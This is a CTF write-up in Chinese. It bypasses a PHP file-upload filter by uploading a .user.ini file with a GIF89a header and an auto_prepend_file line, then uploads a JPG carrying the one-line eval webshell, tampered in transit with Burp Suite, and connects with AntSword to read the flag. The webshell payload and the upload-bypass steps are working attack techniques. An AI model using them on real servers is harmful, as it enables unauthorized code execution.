本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行
点开链接
我们直接上传一句话木马
发现上传不了
说明可能被过滤了
所以我们需要绕过
绕过的点为检查后缀中是否有htaccess或ph
思路:
通过上传.user.ini以及正常jpg文件来进行getshell
.user.ini文件
解题前我们先了解下.user.ini文件
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=01.gif
01.gif是要包含的文件。
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
具体可以参考以下文章
回到题目
先建立.user.ini文件如下:
GIF89a
auto_prepend_file=a.jpg
注:文件头部的 GIF89a是为了绕过文件头内容检测,auto_prepend_file方法表示在php程序加载应用程序前加载指定的ph文件,其作用相当于php代码 require 或 include,这两方法可以文件包含嘛,就是包含的文件不存在就报错,存在的话直就行,不管你后缀是不是php,只有内容含有php代码就执行。
上传文件,用burpsuite抓包
将Content-Type改为image/jpeg
放行,发现文件上传成功
然后我们要上传一句话木马
构造php
GIF89a
<?=eval($_POST['a']);?>
用cmd命令
合成图片的一句话木马
上传a.jpg,burpsuite抓包
发送到repeater
修改filename为a.php
将auto_pretend_file=a,jpg
修改为<?=eval($_POST['a']);?>
send一下
说明上传成功
F12打开调试器选择网络查看上传文件的地址
如图所示上传地址为:****/uploads/index.php
用蚁剑连接
在根目录下找到flag